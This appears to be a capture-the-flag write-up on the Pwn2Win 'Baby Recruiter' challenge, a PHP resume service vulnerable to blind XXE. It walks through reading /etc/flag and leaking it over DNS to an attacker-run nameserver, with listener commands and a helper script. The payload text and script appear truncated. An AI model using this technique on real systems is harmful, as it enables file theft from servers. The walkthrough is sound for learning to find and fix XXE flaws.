Tags: dns xml php web xxe 

Rating: 5.0

## Challenge

> We found a Curriculum service from HARPA. Well, what do you think about pwn it? :)
> P.S.: the flag is not in default format, so add CTF-BR{} when you find it (leet speak).

Opening the website which is linked in the description, gives us the following:

![Baby Recruiter](https://www.sigflag.at/assets/posts/baby_recruiter/website.png)

Furthermore, we can download an archive which contains the following files:

* Dockerfile
* iptables.sh
* setup.sh
* index.php

## Service analysis

The Service allows us to enter arbitrary text, which is then converted into a pdf and returned to us for download. Because we have the service given as source code, we start with it.

#### Dockerfile

The Dockerfile contains some interesting information for further exploitation:

Foremost, it removes all ```.dtd```
and ```.xml``` files present on the system. It even tells us the reason, because it needs to defend against hackers ;).

The second information is the location of the flag.

# ... not relevant ...

# we really don't like hackers
RUN find / -name "*.dtd" -type f -delete

RUN find / -name "*.xml" -type f -delete

# ... not relevant ...

# create a flag
RUN echo -n 'this_is_not_the_flag' > /etc/flag

# ... not relevant ...

#### iptables.sh

This file tells us we can only do outbound DNS connections, and inbounding HTTP connections:


# ... not relevant ...

echo "Set default policy to 'DROP'"

## This should be one of the first rules.
## so dns lookups are already allowed for your other rules
$IPT -A OUTPUT -p udp --dport 53 -m state --state NEW,ESTABLISHED -j ACCEPT
$IPT -A INPUT -p udp --sport 53 -m state --state ESTABLISHED -j ACCEPT
$IPT -A OUTPUT -p tcp --dport 53 -m state --state NEW,ESTABLISHED -j ACCEPT
$IPT -A INPUT -p tcp --sport 53 -m state --state ESTABLISHED -j ACCEPT

echo "Allowing new and established incoming connections to port 80"
$IPT -A INPUT -p tcp -m multiport --dports 80 -m state --state NEW,ESTABLISHED -j ACCEPT
$IPT -A OUTPUT -p tcp -m multiport --sports 80 -m state --state ESTABLISHED -j ACCEPT

# ... not relevant ...

#### setup.sh

This is just a helper file to build the container, and we see that the iptables rules are applied.


# build docker
docker build -t babyrecruiter .

# setup firewall
docker run --cap-add=NET_ADMIN -p 80:80 -it babyrecruiter /bin/bash -c 'chmod +x iptables.sh && ./iptables.sh && rm iptables.sh'

#### index.php

This file contains the PHP application running on the web-server. It receives the content transmitted from the HTML form,
writes it into a temporary file, executes ```/usr/bin/prince``` to create the pdf and returns it.

Oh, and there is some debug code that was not commented out, and which does XML handling. What could possibly go wrong...

$info = simplexml_import_dom($dom);
/* ... not relevant (commented out debug-code which uses $info) ... */
header('Location: /resumes/' . $filename . '.pdf');
} else { /* ... not relevant (serve title page) ... */ }

So, what programming errors do we spot, which could lead to an exploit?

1. The filename of the temporary, as well as of the resulting file is calculated from the remote address. This means we
always know where it will be stored.
2. We execute ```/usr/bin/prince``` with parameters derived from the user.
3. We parse the content as an XML document, with the following parameters:
* **LIBXML_NOENT** enables the substitution of XML character entity references.
* **LIBXML_DTDLOAD** enables loading of external document type definitions (DTD)
4. The temporary file is never deleted from the server

XML external entities, as well as loading of DTD, are a rather common vulnerability, which even got their own entry in
the [OWASP TOP 10](https://www.owasp.org/index.php/Top_10-2017_A4-XML_External_Entities_(XXE)).

## Exploit

From those pieces of information, it seems pretty clear the challenge author wants us to do some sort of XXE attack on the service.
We have external entities as well as document type definitions enabled, which gives us read access to the file system. Because
there is no further processing of the XML after parsing, we need to do a blind XXE attack.

To extract data from the server there are only two possible points to do so: Either send it back with HTTP, in an inbound
connection or send it along with a DNS request as an outbound connection. Only DNS looks promising to do flag extraction,
so we will continue with this.

To extract data with DNS, we need to construct an url which contains the file data. For the XEE payload, I took inspiration
from the [XXE Cheat Sheet](https://www.securityidiots.com/Web-Pentest/XXE) published by *SecurityIdiots*. The example looks
like the following:




%x; %param1;
It consists of a DTD and an XML file using that DTD. We can tell the XML parser to substitute the entity ```exfil``` with
the definition defined in our DTD, which also substitutes the entity ```data``` with the content of ```/etc/flag```.

Some adjustments need to be done by us to get it working for this service. First, we need to get the DTD onto the server
and reference it by our XML. Looking onto the service, we see that the file is uploaded to a known path,
which is ```"/tmp/".md5($_SERVER['REMOTE_ADDR']).".html"```. ```REMOTE_ADDR``` is the public IP of our server, which we
can find out, for example, using [DuckDuckGo](https://duckduckgo.com/?q=ip). The file is never removed, so we can access it
in the future, as long as it is not overwritten.

Because we need to upload two files, and the file is written to disk before parsing of the XML, we need to execute the
attack from two different public IP's. After placing the DTD on the server, we can upload the XML file from a second system,
where we use the known path to our DTD. This should lead the server to parse the XML and a request to our nameserver
containing the flag.

It has to be noted, that the DTD in our case will not end with ```.dtd```, but with ```.html``` as this suffix is appended
by the service on creation.


I wrote an interactive script, to help with the attack:

#!/usr/bin/env python3

import hashlib

DNS_URI = "this.is.our.nameserver"

print(f""""* Upload this file from one ip:


ip = input(" * Input your public ip from this uploaded: ")
ip_hashed = hashlib.md5(ip.encode()).hexdigest()

print(f""" * Upload this file from a different ip:

%x; %param1;

## Get the flag

Now we can execute the attack to get our flag using our script and an unlucky ctf college.

#### Step 1: Deploy a DNS Resolver

To exploit this service, we need to have quite some preparations set-up, compared to other CTF challenges.

Namely, a nameserver which is controlled by us, and where we can log requests. This requires us to have at least access
to a nameserver where we can set an NS entry, and a server where we have root access as well as a public IP.

We can skip the point of installing a nameserver on the server. We only need to capture all traffic
requesting a DNS resolve by us. To do so, we first need to start a tcpdump process which captures all DNS traffic:

tcpdump -w pwn2win_baby_recruiter.pcap port 53

Furthermore, we will tell netcat to listen for DNS traffic:

nc -lvp 53

Now, the DNS request to our server should be captured for sure.

#### Step 2: Upload DTD

In my case, I asked a friend to upload the DTD to the game-server and tell me his public IP address in return. This is
required to calculate the path of the DTD on the server for the next step:



#### Step 3: Upload XML

Using the known location of the DTD, I need to upload this XML file which causes the XML parser to substitute ```&exfil;```
and in succession sending us the flag.


%x; %param1;

#### Step 4: Profit

We only need to stop ```tcpdump```, download the file with ```scp``` and open it in Wireshark. Doing so allows
us to extract the flag: ```c0ngr4tz_y0u_w3r3_4ccpt3d```

Original writeup (https://www.sigflag.at/blog/2019/writeup-pwn2win-baby-recruiter/).